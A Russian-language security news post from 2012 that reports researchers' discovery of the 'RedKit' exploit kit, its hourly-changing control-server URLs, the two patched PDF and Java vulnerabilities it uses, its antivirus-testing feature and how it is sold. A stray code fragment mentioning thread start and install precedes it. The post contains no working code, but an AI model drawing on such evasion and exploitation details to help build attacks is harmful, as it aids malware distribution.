_WinMain(); //start all threads and install
}
}
}
return 0;
}
Российский эксплойт-кит без названия
by myao on Май.11, 2012, under hacking, iT-security, kiberNEWS
Арсений Левин из Spiderlabs сообщил о появлении нового набора эксплойтов, особенностью которого является API для генерации URL управляющих серверов каждый час. У программы нет официального названия, так что Левин выбрал RedKit за красную цветовую схему. Генерация свежих URL каждый час чрезвычайно затрудняет блокировку заражённых сайтов, и это означает, что разработчики RedKit инвестировали хорошую сумму денег в постоянную регистрацию доменов.
В данный момент RedKit использует всего две известные и пропатченные уязвимости: CVE-2010-0188 и CVE-2012-0507. В первом случае обфусцированный файл PDF эксплуатирует уязвимость в LibTIFF, а вторая — пресловутая уязвимость в AtomicReferenceArray (Java), та же самая, которую использует троян Flashback. Арсений Левин уверен, что авторы эксплойт-кита со временем добавят туда новые эксплойты, если они хотят конкурировать с лидерами на этом рынке Blackhole и Phoenix.
Ещё одна интересная функцией RedKit — возможность загрузки исполняемого файла и проверки его против 37 различных антивирусов.
Исследователи из Spiderlabs обнаружили рекламный баннер RedKit на одном из взломанных религиозных сайтов. При переходе по рекламе, потенциальный покупатель должен ввести своё имя пользователя jabber, так что разработчики RedKit могут выбрать, кому продавать свой продукт, и сами свяжутся с покупателем.

